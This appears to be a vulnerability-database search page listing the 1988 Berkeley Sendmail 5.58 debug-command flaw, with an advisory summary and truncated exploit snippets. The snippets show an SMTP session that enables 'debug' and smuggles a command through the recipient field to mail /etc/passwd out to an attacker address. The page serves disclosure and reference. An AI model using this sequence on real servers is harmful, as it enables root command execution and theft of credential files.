1765 matches found
PT-1988-1001 · Sendmail · Sendmail
Name of the Vulnerable Software and Affected Versions: Sendmail affected versions not specified Description: The issue concerns the debug command in Sendmail, which is enabled, allowing attackers to execute commands as root. Recommendations: At the moment, there is no information about a newer...
Berkeley Sendmail 5.58 - Debug
220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: 250 OK rcpt to: 250 OK data 354 Start mail input; end with . mail [email protected] /etc/passwd . 250 OK quit 221 mail.victim.com Terminating The sed in the receipient strips all mail...
Berkeley Sendmail 5.58 - Debug
Berkeley Sendmail 5.58 - Debug 220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: 250 OK rcpt to: 250 OK data 354 Start mail input; end with . mail [email protected] /etc/passwd . 250 OK quit 221 mail.victim.com Terminating The sed in t...